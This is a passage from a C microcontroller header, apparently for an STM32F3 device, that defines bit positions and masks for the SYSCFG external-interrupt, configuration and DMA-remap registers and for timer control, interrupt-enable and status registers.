10 configuration */ #define SYSCFG_EXTICR3_EXTI11_Pos (12U) #define SYSCFG_EXTICR3_EXTI11_Msk (0xFU << SYSCFG_EXTICR3_EXTI11_Pos) /*!< 0x0000F000 */ #define SYSCFG_EXTICR3_EXTI11 SYSCFG_EXTICR3_EXTI11_Msk /*!< EXTI 11 configuration */ /*!<* * @brief EXTI8 configuration */ #define SYSCFG_EXTICR3_EXTI8_PA (0x00000000U) /*!< PA[8] pin */ #define SYSCFG_EXTICR3_EXTI8_PB (0x00000001U) /*!< PB[8] pin */ #define SYSCFG_EXTICR3_EXTI8_PC (0x00000002U) /*!< PC[8] pin */ #define SYSCFG_EXTICR3_EXTI8_PD (0x00000003U) /*!< PD[8] pin */ #define SYSCFG_EXTICR3_EXTI8_PE (0x00000004U) /*!< PE[8] pin */ /*!<* * @brief EXTI9 configuration */ #define SYSCFG_EXTICR3_EXTI9_PA (0x00000000U) /*!< PA[9] pin */ #define SYSCFG_EXTICR3_EXTI9_PB (0x00000010U) /*!< PB[9] pin */ #define SYSCFG_EXTICR3_EXTI9_PC (0x00000020U) /*!< PC[9] pin */ #define SYSCFG_EXTICR3_EXTI9_PD (0x00000030U) /*!< PD[9] pin */ #define SYSCFG_EXTICR3_EXTI9_PE (0x00000040U) /*!< PE[9] pin */ #define SYSCFG_EXTICR3_EXTI9_PF (0x00000050U) /*!< PF[9] pin */ /*!<* * @brief EXTI10 configuration */ #define SYSCFG_EXTICR3_EXTI10_PA (0x00000000U) /*!< PA[10] pin */ #define SYSCFG_EXTICR3_EXTI10_PB (0x00000100U) /*!< PB[10] pin */ #define SYSCFG_EXTICR3_EXTI10_PC (0x00000200U) /*!< PC[10] pin */ #define SYSCFG_EXTICR3_EXTI10_PD (0x00000300U) /*!< PD[10] pin */ #define SYSCFG_EXTICR3_EXTI10_PE (0x00000400U) /*!< PE[10] pin */ #define SYSCFG_EXTICR3_EXTI10_PF (0x00000500U) /*!< PF[10] pin */ /*!<* * @brief EXTI11 configuration */ #define SYSCFG_EXTICR3_EXTI11_PA (0x00000000U) /*!< PA[11] pin */ #define SYSCFG_EXTICR3_EXTI11_PB (0x00001000U) /*!< PB[11] pin */ #define SYSCFG_EXTICR3_EXTI11_PC (0x00002000U) /*!< PC[11] pin */ #define SYSCFG_EXTICR3_EXTI11_PD (0x00003000U) /*!< PD[11] pin */ #define SYSCFG_EXTICR3_EXTI11_PE (0x00004000U) /*!< PE[11] pin */ /***************** Bit definition for SYSCFG_EXTICR4 register *****************/ #define SYSCFG_EXTICR4_EXTI12_Pos (0U) #define SYSCFG_EXTICR4_EXTI12_Msk (0xFU << SYSCFG_EXTICR4_EXTI12_Pos) /*!< 0x0000000F */ #define SYSCFG_EXTICR4_EXTI12 SYSCFG_EXTICR4_EXTI12_Msk /*!< EXTI 12 configuration */ #define SYSCFG_EXTICR4_EXTI13_Pos (4U) #define SYSCFG_EXTICR4_EXTI13_Msk (0xFU << SYSCFG_EXTICR4_EXTI13_Pos) /*!< 0x000000F0 */ #define SYSCFG_EXTICR4_EXTI13 SYSCFG_EXTICR4_EXTI13_Msk /*!< EXTI 13 configuration */ #define SYSCFG_EXTICR4_EXTI14_Pos (8U) #define SYSCFG_EXTICR4_EXTI14_Msk (0xFU << SYSCFG_EXTICR4_EXTI14_Pos) /*!< 0x00000F00 */ #define SYSCFG_EXTICR4_EXTI14 SYSCFG_EXTICR4_EXTI14_Msk /*!< EXTI 14 configuration */ #define SYSCFG_EXTICR4_EXTI15_Pos (12U) #define SYSCFG_EXTICR4_EXTI15_Msk (0xFU << SYSCFG_EXTICR4_EXTI15_Pos) /*!< 0x0000F000 */ #define SYSCFG_EXTICR4_EXTI15 SYSCFG_EXTICR4_EXTI15_Msk /*!< EXTI 15 configuration */ /*!<* * @brief EXTI12 configuration */ #define SYSCFG_EXTICR4_EXTI12_PA (0x00000000U) /*!< PA[12] pin */ #define SYSCFG_EXTICR4_EXTI12_PB (0x00000001U) /*!< PB[12] pin */ #define SYSCFG_EXTICR4_EXTI12_PC (0x00000002U) /*!< PC[12] pin */ #define SYSCFG_EXTICR4_EXTI12_PD (0x00000003U) /*!< PD[12] pin */ #define SYSCFG_EXTICR4_EXTI12_PE (0x00000004U) /*!< PE[12] pin */ /*!<* * @brief EXTI13 configuration */ #define SYSCFG_EXTICR4_EXTI13_PA (0x00000000U) /*!< PA[13] pin */ #define SYSCFG_EXTICR4_EXTI13_PB (0x00000010U) /*!< PB[13] pin */ #define SYSCFG_EXTICR4_EXTI13_PC (0x00000020U) /*!< PC[13] pin */ #define SYSCFG_EXTICR4_EXTI13_PD (0x00000030U) /*!< PD[13] pin */ #define SYSCFG_EXTICR4_EXTI13_PE (0x00000040U) /*!< PE[13] pin */ /*!<* * @brief EXTI14 configuration */ #define SYSCFG_EXTICR4_EXTI14_PA (0x00000000U) /*!< PA[14] pin */ #define SYSCFG_EXTICR4_EXTI14_PB (0x00000100U) /*!< PB[14] pin */ #define SYSCFG_EXTICR4_EXTI14_PC (0x00000200U) /*!< PC[14] pin */ #define SYSCFG_EXTICR4_EXTI14_PD (0x00000300U) /*!< PD[14] pin */ #define SYSCFG_EXTICR4_EXTI14_PE (0x00000400U) /*!< PE[14] pin */ /*!<* * @brief EXTI15 configuration */ #define SYSCFG_EXTICR4_EXTI15_PA (0x00000000U) /*!< PA[15] pin */ #define SYSCFG_EXTICR4_EXTI15_PB (0x00001000U) /*!< PB[15] pin */ #define SYSCFG_EXTICR4_EXTI15_PC (0x00002000U) /*!< PC[15] pin */ #define SYSCFG_EXTICR4_EXTI15_PD (0x00003000U) /*!< PD[15] pin */ #define SYSCFG_EXTICR4_EXTI15_PE (0x00004000U) /*!< PE[15] pin */ /***************** Bit definition for SYSCFG_CFGR2 register ****************/ #define SYSCFG_CFGR2_LOCKUP_LOCK_Pos (0U) #define SYSCFG_CFGR2_LOCKUP_LOCK_Msk (0x1U << SYSCFG_CFGR2_LOCKUP_LOCK_Pos) /*!< 0x00000001 */ #define SYSCFG_CFGR2_LOCKUP_LOCK SYSCFG_CFGR2_LOCKUP_LOCK_Msk /*!< Enables and locks the LOCKUP (Hardfault) output of CortexM4 with Break Input of TIMx */ #define SYSCFG_CFGR2_SRAM_PARITY_LOCK_Pos (1U) #define SYSCFG_CFGR2_SRAM_PARITY_LOCK_Msk (0x1U << SYSCFG_CFGR2_SRAM_PARITY_LOCK_Pos) /*!< 0x00000002 */ #define SYSCFG_CFGR2_SRAM_PARITY_LOCK SYSCFG_CFGR2_SRAM_PARITY_LOCK_Msk /*!< Enables and locks the SRAM_PARITY error signal with Break Input of TIMx */ #define SYSCFG_CFGR2_PVD_LOCK_Pos (2U) #define SYSCFG_CFGR2_PVD_LOCK_Msk (0x1U << SYSCFG_CFGR2_PVD_LOCK_Pos) /*!< 0x00000004 */ #define SYSCFG_CFGR2_PVD_LOCK SYSCFG_CFGR2_PVD_LOCK_Msk /*!< Enables and locks the PVD connection with TIMx Break Input, as well as the PVDE and PLS[2:0] in the PWR_CR register */ #define SYSCFG_CFGR2_BYP_ADDR_PAR_Pos (4U) #define SYSCFG_CFGR2_BYP_ADDR_PAR_Msk (0x1U << SYSCFG_CFGR2_BYP_ADDR_PAR_Pos) /*!< 0x00000010 */ #define SYSCFG_CFGR2_BYP_ADDR_PAR SYSCFG_CFGR2_BYP_ADDR_PAR_Msk /*!< Disables the adddress parity check on RAM */ #define SYSCFG_CFGR2_SRAM_PE_Pos (8U) #define SYSCFG_CFGR2_SRAM_PE_Msk (0x1U << SYSCFG_CFGR2_SRAM_PE_Pos) /*!< 0x00000100 */ #define SYSCFG_CFGR2_SRAM_PE SYSCFG_CFGR2_SRAM_PE_Msk /*!< SRAM Parity error flag */ /***************** Bit definition for SYSCFG_CFGR3 register *****************/ #define SYSCFG_CFGR3_DMA_RMP_Pos (0U) #define SYSCFG_CFGR3_DMA_RMP_Msk (0x3FFU << SYSCFG_CFGR3_DMA_RMP_Pos) /*!< 0x000003FF */ #define SYSCFG_CFGR3_DMA_RMP SYSCFG_CFGR3_DMA_RMP_Msk /*!< DMA remap mask */ #define SYSCFG_CFGR3_SPI1_RX_DMA_RMP_Pos (0U) #define SYSCFG_CFGR3_SPI1_RX_DMA_RMP_Msk (0x3U << SYSCFG_CFGR3_SPI1_RX_DMA_RMP_Pos) /*!< 0x00000003 */ #define SYSCFG_CFGR3_SPI1_RX_DMA_RMP SYSCFG_CFGR3_SPI1_RX_DMA_RMP_Msk /*!< SPI1 RX DMA remap */ #define SYSCFG_CFGR3_SPI1_RX_DMA_RMP_0 (0x1U << SYSCFG_CFGR3_SPI1_RX_DMA_RMP_Pos) /*!< 0x00000001 */ #define SYSCFG_CFGR3_SPI1_RX_DMA_RMP_1 (0x2U << SYSCFG_CFGR3_SPI1_RX_DMA_RMP_Pos) /*!< 0x00000002 */ #define SYSCFG_CFGR3_SPI1_TX_DMA_RMP_Pos (2U) #define SYSCFG_CFGR3_SPI1_TX_DMA_RMP_Msk (0x3U << SYSCFG_CFGR3_SPI1_TX_DMA_RMP_Pos) /*!< 0x0000000C */ #define SYSCFG_CFGR3_SPI1_TX_DMA_RMP SYSCFG_CFGR3_SPI1_TX_DMA_RMP_Msk /*!< SPI1 TX DMA remap */ #define SYSCFG_CFGR3_SPI1_TX_DMA_RMP_0 (0x1U << SYSCFG_CFGR3_SPI1_TX_DMA_RMP_Pos) /*!< 0x00000004 */ #define SYSCFG_CFGR3_SPI1_TX_DMA_RMP_1 (0x2U << SYSCFG_CFGR3_SPI1_TX_DMA_RMP_Pos) /*!< 0x00000008 */ #define SYSCFG_CFGR3_I2C1_RX_DMA_RMP_Pos (4U) #define SYSCFG_CFGR3_I2C1_RX_DMA_RMP_Msk (0x3U << SYSCFG_CFGR3_I2C1_RX_DMA_RMP_Pos) /*!< 0x00000030 */ #define SYSCFG_CFGR3_I2C1_RX_DMA_RMP SYSCFG_CFGR3_I2C1_RX_DMA_RMP_Msk /*!< I2C1 RX DMA remap */ #define SYSCFG_CFGR3_I2C1_RX_DMA_RMP_0 (0x1U << SYSCFG_CFGR3_I2C1_RX_DMA_RMP_Pos) /*!< 0x00000010 */ #define SYSCFG_CFGR3_I2C1_RX_DMA_RMP_1 (0x2U << SYSCFG_CFGR3_I2C1_RX_DMA_RMP_Pos) /*!< 0x00000020 */ #define SYSCFG_CFGR3_I2C1_TX_DMA_RMP_Pos (6U) #define SYSCFG_CFGR3_I2C1_TX_DMA_RMP_Msk (0x3U << SYSCFG_CFGR3_I2C1_TX_DMA_RMP_Pos) /*!< 0x000000C0 */ #define SYSCFG_CFGR3_I2C1_TX_DMA_RMP SYSCFG_CFGR3_I2C1_TX_DMA_RMP_Msk /*!< I2C1 RX DMA remap */ #define SYSCFG_CFGR3_I2C1_TX_DMA_RMP_0 (0x1U << SYSCFG_CFGR3_I2C1_TX_DMA_RMP_Pos) /*!< 0x00000040 */ #define SYSCFG_CFGR3_I2C1_TX_DMA_RMP_1 (0x2U << SYSCFG_CFGR3_I2C1_TX_DMA_RMP_Pos) /*!< 0x00000080 */ #define SYSCFG_CFGR3_ADC2_DMA_RMP_Pos (8U) #define SYSCFG_CFGR3_ADC2_DMA_RMP_Msk (0x3U << SYSCFG_CFGR3_ADC2_DMA_RMP_Pos) /*!< 0x00000300 */ #define SYSCFG_CFGR3_ADC2_DMA_RMP SYSCFG_CFGR3_ADC2_DMA_RMP_Msk /*!< ADC2 DMA remap */ #define SYSCFG_CFGR3_ADC2_DMA_RMP_0 (0x1U << SYSCFG_CFGR3_ADC2_DMA_RMP_Pos) /*!< 0x00000100 */ #define SYSCFG_CFGR3_ADC2_DMA_RMP_1 (0x2U << SYSCFG_CFGR3_ADC2_DMA_RMP_Pos) /*!< 0x00000200 */ /******************************************************************************/ /* */ /* TIM */ /* */ /******************************************************************************/ /******************* Bit definition for TIM_CR1 register ********************/ #define TIM_CR1_CEN_Pos (0U) #define TIM_CR1_CEN_Msk (0x1U << TIM_CR1_CEN_Pos) /*!< 0x00000001 */ #define TIM_CR1_CEN TIM_CR1_CEN_Msk /*!<Counter enable */ #define TIM_CR1_UDIS_Pos (1U) #define TIM_CR1_UDIS_Msk (0x1U << TIM_CR1_UDIS_Pos) /*!< 0x00000002 */ #define TIM_CR1_UDIS TIM_CR1_UDIS_Msk /*!<Update disable */ #define TIM_CR1_URS_Pos (2U) #define TIM_CR1_URS_Msk (0x1U << TIM_CR1_URS_Pos) /*!< 0x00000004 */ #define TIM_CR1_URS TIM_CR1_URS_Msk /*!<Update request source */ #define TIM_CR1_OPM_Pos (3U) #define TIM_CR1_OPM_Msk (0x1U << TIM_CR1_OPM_Pos) /*!< 0x00000008 */ #define TIM_CR1_OPM TIM_CR1_OPM_Msk /*!<One pulse mode */ #define TIM_CR1_DIR_Pos (4U) #define TIM_CR1_DIR_Msk (0x1U << TIM_CR1_DIR_Pos) /*!< 0x00000010 */ #define TIM_CR1_DIR TIM_CR1_DIR_Msk /*!<Direction */ #define TIM_CR1_CMS_Pos (5U) #define TIM_CR1_CMS_Msk (0x3U << TIM_CR1_CMS_Pos) /*!< 0x00000060 */ #define TIM_CR1_CMS TIM_CR1_CMS_Msk /*!<CMS[1:0] bits (Center-aligned mode selection) */ #define TIM_CR1_CMS_0 (0x1U << TIM_CR1_CMS_Pos) /*!< 0x00000020 */ #define TIM_CR1_CMS_1 (0x2U << TIM_CR1_CMS_Pos) /*!< 0x00000040 */ #define TIM_CR1_ARPE_Pos (7U) #define TIM_CR1_ARPE_Msk (0x1U << TIM_CR1_ARPE_Pos) /*!< 0x00000080 */ #define TIM_CR1_ARPE TIM_CR1_ARPE_Msk /*!<Auto-reload preload enable */ #define TIM_CR1_CKD_Pos (8U) #define TIM_CR1_CKD_Msk (0x3U << TIM_CR1_CKD_Pos) /*!< 0x00000300 */ #define TIM_CR1_CKD TIM_CR1_CKD_Msk /*!<CKD[1:0] bits (clock division) */ #define TIM_CR1_CKD_0 (0x1U << TIM_CR1_CKD_Pos) /*!< 0x00000100 */ #define TIM_CR1_CKD_1 (0x2U << TIM_CR1_CKD_Pos) /*!< 0x00000200 */ #define TIM_CR1_UIFREMAP_Pos (11U) #define TIM_CR1_UIFREMAP_Msk (0x1U << TIM_CR1_UIFREMAP_Pos) /*!< 0x00000800 */ #define TIM_CR1_UIFREMAP TIM_CR1_UIFREMAP_Msk /*!<Update interrupt flag remap */ /******************* Bit definition for TIM_CR2 register ********************/ #define TIM_CR2_CCPC_Pos (0U) #define TIM_CR2_CCPC_Msk (0x1U << TIM_CR2_CCPC_Pos) /*!< 0x00000001 */ #define TIM_CR2_CCPC TIM_CR2_CCPC_Msk /*!<Capture/Compare Preloaded Control */ #define TIM_CR2_CCUS_Pos (2U) #define TIM_CR2_CCUS_Msk (0x1U << TIM_CR2_CCUS_Pos) /*!< 0x00000004 */ #define TIM_CR2_CCUS TIM_CR2_CCUS_Msk /*!<Capture/Compare Control Update Selection */ #define TIM_CR2_CCDS_Pos (3U) #define TIM_CR2_CCDS_Msk (0x1U << TIM_CR2_CCDS_Pos) /*!< 0x00000008 */ #define TIM_CR2_CCDS TIM_CR2_CCDS_Msk /*!<Capture/Compare DMA Selection */ #define TIM_CR2_MMS_Pos (4U) #define TIM_CR2_MMS_Msk (0x7U << TIM_CR2_MMS_Pos) /*!< 0x00000070 */ #define TIM_CR2_MMS TIM_CR2_MMS_Msk /*!<MMS[2:0] bits (Master Mode Selection) */ #define TIM_CR2_MMS_0 (0x1U << TIM_CR2_MMS_Pos) /*!< 0x00000010 */ #define TIM_CR2_MMS_1 (0x2U << TIM_CR2_MMS_Pos) /*!< 0x00000020 */ #define TIM_CR2_MMS_2 (0x4U << TIM_CR2_MMS_Pos) /*!< 0x00000040 */ #define TIM_CR2_TI1S_Pos (7U) #define TIM_CR2_TI1S_Msk (0x1U << TIM_CR2_TI1S_Pos) /*!< 0x00000080 */ #define TIM_CR2_TI1S TIM_CR2_TI1S_Msk /*!<TI1 Selection */ #define TIM_CR2_OIS1_Pos (8U) #define TIM_CR2_OIS1_Msk (0x1U << TIM_CR2_OIS1_Pos) /*!< 0x00000100 */ #define TIM_CR2_OIS1 TIM_CR2_OIS1_Msk /*!<Output Idle state 1 (OC1 output) */ #define TIM_CR2_OIS1N_Pos (9U) #define TIM_CR2_OIS1N_Msk (0x1U << TIM_CR2_OIS1N_Pos) /*!< 0x00000200 */ #define TIM_CR2_OIS1N TIM_CR2_OIS1N_Msk /*!<Output Idle state 1 (OC1N output) */ #define TIM_CR2_OIS2_Pos (10U) #define TIM_CR2_OIS2_Msk (0x1U << TIM_CR2_OIS2_Pos) /*!< 0x00000400 */ #define TIM_CR2_OIS2 TIM_CR2_OIS2_Msk /*!<Output Idle state 2 (OC2 output) */ #define TIM_CR2_OIS2N_Pos (11U) #define TIM_CR2_OIS2N_Msk (0x1U << TIM_CR2_OIS2N_Pos) /*!< 0x00000800 */ #define TIM_CR2_OIS2N TIM_CR2_OIS2N_Msk /*!<Output Idle state 2 (OC2N output) */ #define TIM_CR2_OIS3_Pos (12U) #define TIM_CR2_OIS3_Msk (0x1U << TIM_CR2_OIS3_Pos) /*!< 0x00001000 */ #define TIM_CR2_OIS3 TIM_CR2_OIS3_Msk /*!<Output Idle state 3 (OC3 output) */ #define TIM_CR2_OIS3N_Pos (13U) #define TIM_CR2_OIS3N_Msk (0x1U << TIM_CR2_OIS3N_Pos) /*!< 0x00002000 */ #define TIM_CR2_OIS3N TIM_CR2_OIS3N_Msk /*!<Output Idle state 3 (OC3N output) */ #define TIM_CR2_OIS4_Pos (14U) #define TIM_CR2_OIS4_Msk (0x1U << TIM_CR2_OIS4_Pos) /*!< 0x00004000 */ #define TIM_CR2_OIS4 TIM_CR2_OIS4_Msk /*!<Output Idle state 4 (OC4 output) */ #define TIM_CR2_OIS5_Pos (16U) #define TIM_CR2_OIS5_Msk (0x1U << TIM_CR2_OIS5_Pos) /*!< 0x00010000 */ #define TIM_CR2_OIS5 TIM_CR2_OIS5_Msk /*!<Output Idle state 4 (OC4 output) */ #define TIM_CR2_OIS6_Pos (18U) #define TIM_CR2_OIS6_Msk (0x1U << TIM_CR2_OIS6_Pos) /*!< 0x00040000 */ #define TIM_CR2_OIS6 TIM_CR2_OIS6_Msk /*!<Output Idle state 4 (OC4 output) */ #define TIM_CR2_MMS2_Pos (20U) #define TIM_CR2_MMS2_Msk (0xFU << TIM_CR2_MMS2_Pos) /*!< 0x00F00000 */ #define TIM_CR2_MMS2 TIM_CR2_MMS2_Msk /*!<MMS[2:0] bits (Master Mode Selection) */ #define TIM_CR2_MMS2_0 (0x1U << TIM_CR2_MMS2_Pos) /*!< 0x00100000 */ #define TIM_CR2_MMS2_1 (0x2U << TIM_CR2_MMS2_Pos) /*!< 0x00200000 */ #define TIM_CR2_MMS2_2 (0x4U << TIM_CR2_MMS2_Pos) /*!< 0x00400000 */ #define TIM_CR2_MMS2_3 (0x8U << TIM_CR2_MMS2_Pos) /*!< 0x00800000 */ /******************* Bit definition for TIM_SMCR register *******************/ #define TIM_SMCR_SMS_Pos (0U) #define TIM_SMCR_SMS_Msk (0x10007U << TIM_SMCR_SMS_Pos) /*!< 0x00010007 */ #define TIM_SMCR_SMS TIM_SMCR_SMS_Msk /*!<SMS[2:0] bits (Slave mode selection) */ #define TIM_SMCR_SMS_0 (0x00000001U) /*!<Bit 0 */ #define TIM_SMCR_SMS_1 (0x00000002U) /*!<Bit 1 */ #define TIM_SMCR_SMS_2 (0x00000004U) /*!<Bit 2 */ #define TIM_SMCR_SMS_3 (0x00010000U) /*!<Bit 3 */ #define TIM_SMCR_OCCS_Pos (3U) #define TIM_SMCR_OCCS_Msk (0x1U << TIM_SMCR_OCCS_Pos) /*!< 0x00000008 */ #define TIM_SMCR_OCCS TIM_SMCR_OCCS_Msk /*!< OCREF clear selection */ #define TIM_SMCR_TS_Pos (4U) #define TIM_SMCR_TS_Msk (0x7U << TIM_SMCR_TS_Pos) /*!< 0x00000070 */ #define TIM_SMCR_TS TIM_SMCR_TS_Msk /*!<TS[2:0] bits (Trigger selection) */ #define TIM_SMCR_TS_0 (0x1U << TIM_SMCR_TS_Pos) /*!< 0x00000010 */ #define TIM_SMCR_TS_1 (0x2U << TIM_SMCR_TS_Pos) /*!< 0x00000020 */ #define TIM_SMCR_TS_2 (0x4U << TIM_SMCR_TS_Pos) /*!< 0x00000040 */ #define TIM_SMCR_MSM_Pos (7U) #define TIM_SMCR_MSM_Msk (0x1U << TIM_SMCR_MSM_Pos) /*!< 0x00000080 */ #define TIM_SMCR_MSM TIM_SMCR_MSM_Msk /*!<Master/slave mode */ #define TIM_SMCR_ETF_Pos (8U) #define TIM_SMCR_ETF_Msk (0xFU << TIM_SMCR_ETF_Pos) /*!< 0x00000F00 */ #define TIM_SMCR_ETF TIM_SMCR_ETF_Msk /*!<ETF[3:0] bits (External trigger filter) */ #define TIM_SMCR_ETF_0 (0x1U << TIM_SMCR_ETF_Pos) /*!< 0x00000100 */ #define TIM_SMCR_ETF_1 (0x2U << TIM_SMCR_ETF_Pos) /*!< 0x00000200 */ #define TIM_SMCR_ETF_2 (0x4U << TIM_SMCR_ETF_Pos) /*!< 0x00000400 */ #define TIM_SMCR_ETF_3 (0x8U << TIM_SMCR_ETF_Pos) /*!< 0x00000800 */ #define TIM_SMCR_ETPS_Pos (12U) #define TIM_SMCR_ETPS_Msk (0x3U << TIM_SMCR_ETPS_Pos) /*!< 0x00003000 */ #define TIM_SMCR_ETPS TIM_SMCR_ETPS_Msk /*!<ETPS[1:0] bits (External trigger prescaler) */ #define TIM_SMCR_ETPS_0 (0x1U << TIM_SMCR_ETPS_Pos) /*!< 0x00001000 */ #define TIM_SMCR_ETPS_1 (0x2U << TIM_SMCR_ETPS_Pos) /*!< 0x00002000 */ #define TIM_SMCR_ECE_Pos (14U) #define TIM_SMCR_ECE_Msk (0x1U << TIM_SMCR_ECE_Pos) /*!< 0x00004000 */ #define TIM_SMCR_ECE TIM_SMCR_ECE_Msk /*!<External clock enable */ #define TIM_SMCR_ETP_Pos (15U) #define TIM_SMCR_ETP_Msk (0x1U << TIM_SMCR_ETP_Pos) /*!< 0x00008000 */ #define TIM_SMCR_ETP TIM_SMCR_ETP_Msk /*!<External trigger polarity */ /******************* Bit definition for TIM_DIER register *******************/ #define TIM_DIER_UIE_Pos (0U) #define TIM_DIER_UIE_Msk (0x1U << TIM_DIER_UIE_Pos) /*!< 0x00000001 */ #define TIM_DIER_UIE TIM_DIER_UIE_Msk /*!<Update interrupt enable */ #define TIM_DIER_CC1IE_Pos (1U) #define TIM_DIER_CC1IE_Msk (0x1U << TIM_DIER_CC1IE_Pos) /*!< 0x00000002 */ #define TIM_DIER_CC1IE TIM_DIER_CC1IE_Msk /*!<Capture/Compare 1 interrupt enable */ #define TIM_DIER_CC2IE_Pos (2U) #define TIM_DIER_CC2IE_Msk (0x1U << TIM_DIER_CC2IE_Pos) /*!< 0x00000004 */ #define TIM_DIER_CC2IE TIM_DIER_CC2IE_Msk /*!<Capture/Compare 2 interrupt enable */ #define TIM_DIER_CC3IE_Pos (3U) #define TIM_DIER_CC3IE_Msk (0x1U << TIM_DIER_CC3IE_Pos) /*!< 0x00000008 */ #define TIM_DIER_CC3IE TIM_DIER_CC3IE_Msk /*!<Capture/Compare 3 interrupt enable */ #define TIM_DIER_CC4IE_Pos (4U) #define TIM_DIER_CC4IE_Msk (0x1U << TIM_DIER_CC4IE_Pos) /*!< 0x00000010 */ #define TIM_DIER_CC4IE TIM_DIER_CC4IE_Msk /*!<Capture/Compare 4 interrupt enable */ #define TIM_DIER_COMIE_Pos (5U) #define TIM_DIER_COMIE_Msk (0x1U << TIM_DIER_COMIE_Pos) /*!< 0x00000020 */ #define TIM_DIER_COMIE TIM_DIER_COMIE_Msk /*!<COM interrupt enable */ #define TIM_DIER_TIE_Pos (6U) #define TIM_DIER_TIE_Msk (0x1U << TIM_DIER_TIE_Pos) /*!< 0x00000040 */ #define TIM_DIER_TIE TIM_DIER_TIE_Msk /*!<Trigger interrupt enable */ #define TIM_DIER_BIE_Pos (7U) #define TIM_DIER_BIE_Msk (0x1U << TIM_DIER_BIE_Pos) /*!< 0x00000080 */ #define TIM_DIER_BIE TIM_DIER_BIE_Msk /*!<Break interrupt enable */ #define TIM_DIER_UDE_Pos (8U) #define TIM_DIER_UDE_Msk (0x1U << TIM_DIER_UDE_Pos) /*!< 0x00000100 */ #define TIM_DIER_UDE TIM_DIER_UDE_Msk /*!<Update DMA request enable */ #define TIM_DIER_CC1DE_Pos (9U) #define TIM_DIER_CC1DE_Msk (0x1U << TIM_DIER_CC1DE_Pos) /*!< 0x00000200 */ #define TIM_DIER_CC1DE TIM_DIER_CC1DE_Msk /*!<Capture/Compare 1 DMA request enable */ #define TIM_DIER_CC2DE_Pos (10U) #define TIM_DIER_CC2DE_Msk (0x1U << TIM_DIER_CC2DE_Pos) /*!< 0x00000400 */ #define TIM_DIER_CC2DE TIM_DIER_CC2DE_Msk /*!<Capture/Compare 2 DMA request enable */ #define TIM_DIER_CC3DE_Pos (11U) #define TIM_DIER_CC3DE_Msk (0x1U << TIM_DIER_CC3DE_Pos) /*!< 0x00000800 */ #define TIM_DIER_CC3DE TIM_DIER_CC3DE_Msk /*!<Capture/Compare 3 DMA request enable */ #define TIM_DIER_CC4DE_Pos (12U) #define TIM_DIER_CC4DE_Msk (0x1U << TIM_DIER_CC4DE_Pos) /*!< 0x00001000 */ #define TIM_DIER_CC4DE TIM_DIER_CC4DE_Msk /*!<Capture/Compare 4 DMA request enable */ #define TIM_DIER_COMDE_Pos (13U) #define TIM_DIER_COMDE_Msk (0x1U << TIM_DIER_COMDE_Pos) /*!< 0x00002000 */ #define TIM_DIER_COMDE TIM_DIER_COMDE_Msk /*!<COM DMA request enable */ #define TIM_DIER_TDE_Pos (14U) #define TIM_DIER_TDE_Msk (0x1U << TIM_DIER_TDE_Pos) /*!< 0x00004000 */ #define TIM_DIER_TDE TIM_DIER_TDE_Msk /*!<Trigger DMA request enable */ /******************** Bit definition for TIM_SR register ********************/ #define TIM_SR_UIF_Pos (0U) #define TIM_SR_UIF_Msk (0x1U << TIM_SR_UIF_Pos) /*!< 0x00000001 */ #define TIM_SR_UIF TIM_SR_UIF_Msk /*!<Update interrupt Flag */ #define TIM_SR_CC1IF_Pos (1U) #define TIM_SR_CC1IF_Msk (0x1U << TIM_SR_CC1IF_Pos) /*!< 0x00000002 */ #define TIM_SR_CC1IF TIM_SR_CC1IF_Msk /*!<Capture/Compare 1 interrupt Flag */ #define TIM_SR_CC2IF_Pos (2U) #define TIM_SR_CC2IF_Msk (0x1U << TIM_SR_CC2IF_Pos) /*!< 0x00000004 */ #define TIM_SR_CC2IF TIM_SR_CC2IF_Msk /*!<Capture/Compare 2 interrupt Flag */ #define TIM_SR_CC3IF_Pos (3U) #define TIM_SR_CC3IF_Msk (0x1U << TIM_SR_CC3IF_Pos) /*!< 0x00000008 */ #define TIM_SR_CC3IF TIM_SR_CC3IF_Msk /*!<Capture/Compare 3 interrupt Flag */ #define TIM_SR_CC4IF_Pos (4U) #define TIM_SR_CC4IF_Msk (0x1U << TIM_SR_CC4IF_Pos) /*!< 0x00000010 */ #define TIM_SR_CC4IF TIM_SR_CC4IF_Msk /*!<Capture/Compare 4 interrupt Flag */ #define TIM_SR_COMIF_Pos (5U) #define TIM_SR_COMIF_Msk (0x1U << TIM_SR_COMIF_Pos) /*!< 0x00000020 */ #define TIM_SR_COMIF TIM_SR_COMIF_Msk /*!<COM interrupt Flag */ #define TIM_SR_TIF_Pos (6U) #define TIM_SR_TIF_Msk (0x1U << TIM_SR_TIF_Pos) /*!< 0x00000040 */ #define TIM_SR_TIF TIM_SR_TIF_Msk /*!<Trigger interrupt Flag */ #define TIM_SR_BIF_Pos (7U) #define TIM_SR_BIF_Msk (0x1U << TIM_SR_BIF_Pos) /*!< 0x00000080 */ #define TIM_SR_BIF TIM_SR_BIF_Msk /*!<Break interrupt Flag */ #define TIM_SR_B2IF_Pos (8U) #define TIM_SR_B2IF_Msk (0x1U << TIM_SR_B2IF_Pos) /*!< 0x00000100 */ #define TIM_SR_B2IF TIM_SR_B2IF_Msk /*!<Break2 interrupt Flag */ #define TIM_SR_CC1OF_Pos (9U) #define TIM_SR_CC1OF_Msk (0x1U << TIM_SR_CC1OF_Pos) /*!< 0x00000200 */ #define TIM_SR_CC1OF TIM_SR_CC1OF_Msk /*!<Capture/Compare 1 Overcapture Flag */ #define TIM_SR_CC2OF_Pos (10U) #define TIM_SR_CC2OF_Msk (0x1U << TIM_SR_CC2OF_Pos) /*!< 0x00000400 */ #define TIM_SR_CC2OF TIM_SR_CC2OF_Msk /*!<Capture/Compare 2 Overcapture Flag */ #define TIM_SR_CC3OF_Pos (11U) #define TIM_SR_CC3OF_Msk (0x1U << TIM_SR_CC3OF_Pos) /*!< 0x00000800 */ #define TIM_SR_CC3OF TIM_SR_CC3OF_Msk /*!<Capture/Compare 3 Overcapture Flag */ #define TIM_SR_CC4OF_Pos (12U) #define TIM_SR_CC4OF_Msk (0x1U << TIM_SR_CC4OF_Pos) /*!< 0x00001000 */ #define TIM_SR_CC4OF TIM_SR_CC4OF_Msk /*!<Capture/Compare 4 Overcapture Flag */ #define TIM_SR_CC5IF_Pos (16U) #define TIM_SR_CC5IF_Msk (0x1U << TIM_SR_CC5IF_Pos) /*!< 0x00010000 */ #define TIM_SR_CC5IF TIM_SR_CC5IF_Msk /*!<Capture/Compare 5 interrupt Flag */ #define TIM_SR_CC6IF_Pos (17U) #define TIM_SR_CC6IF_Msk (0x1U << TIM_SR_CC6IF_Pos) /*!< 0x00020000 */ #define TIM_SR_CC6IF TIM_SR_CC6IF_Msk 